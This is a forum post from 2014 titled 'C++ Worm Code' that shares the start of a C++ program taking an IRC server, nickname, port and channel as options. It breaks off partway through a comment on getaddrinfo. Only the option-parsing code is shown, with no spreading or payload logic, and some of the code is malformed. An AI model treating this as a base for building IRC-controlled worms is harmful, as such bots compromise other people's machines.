C++ Worm Code

View previous topic View next topic Go down

C++ Worm Code

Post  K-H-A-N on Mon Mar 10, 2014 7:13 am



Code:
include <iostream.h>
#include <sys/socket.h>
#include <netdb.h>
#include <sys/types.h>
#include <unistd.h>

void usage(char *argv);

int main(int argc, char *argv[]) {
  /*    GETOPT
  - Variable: char * optarg
  - This variable is set by getopt to point at the value of the option argument, for those options that accept arguments.

  - Function: int getopt (int argc, char **argv, const char *options)
  - The options argument is a string that specifies the option characters that are valid for this program. An option character in this string can be followed by a colon (`:') to indicate that it takes a required argument. If an option character is followed by two colons (`::'), its argument is optional; this is a GNU extension.
  */

  char *ircServerName = NULL;
  char *ircNickName = NULL;
  char *ircPortNumber = NULL;
  char *ircChannelName = NULL;

  /* get all the parameters */
  int startingCommandLineOptions;
  while((startingCommandLineOptions = getopt(argc, argv, "n:c:s:p:")) != EOF) {
      switch(startingCommandLineOptions) {
        case 'n':
            ircNickName = strdup(optarg);
            break;
        case 'p':
            ircPortNumber = strdup(optarg);
            break;
        case 's':
            ircServerName = strdup(optarg);
            break;
        case 'c':
            ircChannelName = strdup(optarg);
            /*if(*ircChannelName != '#' && *ircChannelName != '&') {
              printf("\nError: The channel name should start with a #\n");
              exit(1);
            }*/
            break;
        default:
            usage(argv[0]);
            break;
      }
  }

  /* check if we filled all the required arguments */
  if(!ircServerName) {
      printf("Error: You need to specify a server.\n");
      exit(1);
  }
  if(!ircNickName) {
      printf("Error: You need to specify a nickname.\n");
      exit(1);
  }
  if(!ircPortNumber) {
      printf("Error: You need to specify a port number.\n");
      exit(1);
  }
  if(!ircChannelName) {
      printf("Error: You need to specify a channel name.\n");
      exit(1);
  }

  /*      INFORMATION ABOUT GETADDRINFO() FUNCTION
  - The getaddrinfo() function is defined for protocol-independent nodename-to-
__________________

K-H-A-N
Member
Member

Posts : 3
Join date : 2014-03-10
Age : 24
Location : in your BlooD

View user profile

Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum